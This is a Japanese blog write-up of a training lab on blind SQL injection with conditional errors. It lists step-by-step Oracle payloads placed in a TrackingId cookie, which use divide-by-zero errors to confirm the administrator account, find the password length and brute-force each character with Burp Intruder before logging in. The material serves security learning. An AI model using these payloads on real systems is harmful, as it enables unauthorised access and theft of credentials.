Shikata Ga Nai

Private? There is no such things.

Blind SQL injection with conditional errorsをやってみた

Hello there, ('ω')ノ

 

条件付きエラーを伴うブラインドSQLインジェクションを。

このラボには、ブラインドSQLインジェクションの脆弱性があって。

トラッキングCookieを使用して、Cookieの値を含むSQLクエリを実行して。

 

まずは、ページにアクセスして。

 

f:id:ThisIsOne:20210501085441p:plain

 

リクエストをリピータへ。

 

f:id:ThisIsOne:20210501090843p:plain

 

下記のようにCookieの値を変更してSendすると正常なレスポンスが。

 TrackingId=;

 

f:id:ThisIsOne:20210501090926p:plain


下記のようなCookieの値だとエラーが。

 TrackingId=';

 

f:id:ThisIsOne:20210501090957p:plain

 

下記のCookieの値だとエラーが消えて。

これで、サーバがインジェクションをSQLクエリとして解釈しているとわかって。

 TrackingId='';

 

f:id:ThisIsOne:20210501091043p:plain

 

下記のCookieの値だとこのクエリは無効のようで。

どうもデータベースタイプが原因のようで。

 TrackingId='||(SELECT+'')||';

 

f:id:ThisIsOne:20210501091901p:plain

 

予測可能なテーブル名を指定してみると成功したので。

おそらくOracleデータベースを使用していて。

 TrackingId='||(SELECT+''+FROM+dual)||';

 

f:id:ThisIsOne:20210501091726p:plain

 

確認のため存在しないテーブル名に変更するとエラーが。

 TrackingId='||(SELECT+''+FROM+notable)||';

 

f:id:ThisIsOne:20210501092036p:plain

 

下記をSendすると成功するので、usersテーブルが存在するようで。

ちなみに条件文は、クエリが複数の行を返すことを防ぐために必要で。

 TrackingId='||(SELECT+''+FROM+users+WHERE+ROWNUM=1)||';

 

f:id:ThisIsOne:20210501092317p:plain

 

次に下記の条件でテストすることに。

ゼロ除算が含まれているため、エラーが発生して。

 

SELECT CASE WHEN (1=1)

 THEN

  TO_CHAR(1/0)

 ELSE

  ''

END FROM dual

 

よって、下記に変更してSendするとエラーが。

 TrackingId='||(SELECT+CASE+WHEN+(1=1)+THEN+TO_CHAR(1/0)+ELSE+''+END+FROM+dual)||';

 

f:id:ThisIsOne:20210501092756p:plain

 

ちなみに条件を変更すると正常なレスポンスが確認できて。

 TrackingId='||(SELECT+CASE+WHEN+(1=2)+THEN+TO_CHAR(1/0)+ELSE+''+END+FROM+dual)||';

 

f:id:ThisIsOne:20210501092608p:plain

 

下記で、条件が真だったらエラーが受信されるので。

 TrackingId='||(SELECT+CASE+WHEN+(1=1)+THEN+TO_CHAR(1/0)+ELSE+''+END+FROM+users+WHERE+username='administrator')||';

 

f:id:ThisIsOne:20210501093019p:plain

 

なので、パスワードが1を超えるなら真なのでエラーが受信されて。

 TrackingId='||(SELECT+CASE+WHEN+LENGTH(password)>1+THEN+to_char(1/0)+ELSE+''+END+FROM+users+WHERE+username='administrator')||';

 

f:id:ThisIsOne:20210501093331p:plain

 

正常なレスポンスからパスワードは20文字だとわかって。

 TrackingId='||(SELECT+CASE+WHEN+LENGTH(password)>20+THEN+to_char(1/0)+ELSE+''+END+FROM+users+WHERE+username='administrator')||';

 

f:id:ThisIsOne:20210501093408p:plain

 

SQL文を下記に変更してIntruderへ。

 TrackingId='||(SELECT+CASE+WHEN+SUBSTR(password,1,1)='a'+THEN+to_char(1/0)+ELSE+''+END+FROM+users+WHERE+username='administrator')||';

 

f:id:ThisIsOne:20210501093519p:plain

 

下記のように2か所をAddして、Attack typeを変更して。

 

f:id:ThisIsOne:20210501093736p:plain

 

パスワードの文字の位置を1~20まで可変させて。

 

f:id:ThisIsOne:20210501094004p:plain

 

英字と数字をすべて検証して。

 

f:id:ThisIsOne:20210501094031p:plain

 

スレッドを15にしてStart attackを。

 

f:id:ThisIsOne:20210501094225p:plain

 

内部サーバエラーから文字列を組み立てると以下のようになって。

 yhb46pibjui7dpuyblkc

 

f:id:ThisIsOne:20210501094310p:plain

 

ログインしてみると。

 

f:id:ThisIsOne:20210501094527p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210501094547p:plain

 

Best regards, (^^ゞ